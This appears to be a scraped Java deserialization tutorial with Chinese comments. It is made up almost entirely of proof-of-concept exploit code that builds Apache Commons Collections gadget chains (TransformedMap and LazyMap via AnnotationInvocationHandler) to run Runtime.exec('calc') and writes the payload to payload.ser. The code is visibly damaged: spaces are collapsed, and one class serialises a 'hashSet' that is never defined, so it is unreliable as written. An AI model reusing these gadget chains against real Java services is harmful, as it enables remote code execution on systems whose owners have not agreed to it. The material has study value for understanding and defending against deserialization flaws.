// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; }
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此处触发一系列的Transformer memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }
publicclassPayloadTransformedMap{ publicstaticvoidmain(String[] args)throws Exception { final Transformer[] evilTransformers = new Transformer[]{ // Runtime new ConstantTransformer(Runtime.class), // (Method)Runtime.class.getMethod("getRuntime", null) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", null}), //getMethod(函数名,返回值类型) // (java.lang.Runtime)Runtime.class.getMethod("getRuntime", null).invoke(null, null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //invoke(函数名,函数参数) // (java.lang.ProcessImpl) // Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer evilTransformerChain = new ChainedTransformer(evilTransformers); Map innermap = new HashMap(); innermap.put("value", "value"); Map outermap = TransformedMap.decorate(innermap, null, evilTransformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); //返回"sun.reflect.annotation.AnnotationInvocationHandler"对象 Object instance = ctor.newInstance(Retention.class, outermap);
FileOutputStream fos = new FileOutputStream("payload.ser"); ObjectOutputStream out = new ObjectOutputStream(fos); out.writeObject(instance); out.flush(); out.close();
publicclassPayloadLazyMap{ publicstaticvoidmain(String[] args)throws Exception { final Transformer[] evilTransformers = new Transformer[]{ // Runtime new ConstantTransformer(Runtime.class), // (Method)Runtime.class.getMethod("getRuntime", null) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", null}), //getMethod(函数名,返回值类型) // (java.lang.Runtime)Runtime.class.getMethod("getRuntime", null).invoke(null, null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //invoke(函数名,函数参数) // (java.lang.ProcessImpl) // Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer evilTransformerChain = new ChainedTransformer(evilTransformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, evilTransformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
FileOutputStream fos = new FileOutputStream("payload.ser"); ObjectOutputStream out = new ObjectOutputStream(fos); out.writeObject(hashSet); out.flush(); out.close();
payloadTest(); } publicstaticvoidpayloadTest()throws Exception { ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload.ser")); in.readObject(); in.close(); } }
publicclassLazyMapDemo{ publicstaticvoidmain(String[] args){ final Transformer[] evilTransformers = new Transformer[]{ // Runtime new ConstantTransformer(Runtime.class), // (Method)Runtime.class.getMethod("getRuntime", null) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", null}), //getMethod(函数名,返回值类型) // (java.lang.Runtime)Runtime.class.getMethod("getRuntime", null).invoke(null, null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //invoke(函数名,函数参数) // (java.lang.ProcessImpl) // Runtime.class.getMethod("getRuntime", null).invoke(null,null).exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer evilTransformerChain = new ChainedTransformer(evilTransformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, evilTransformerChain); lazyMap.get('a'); } }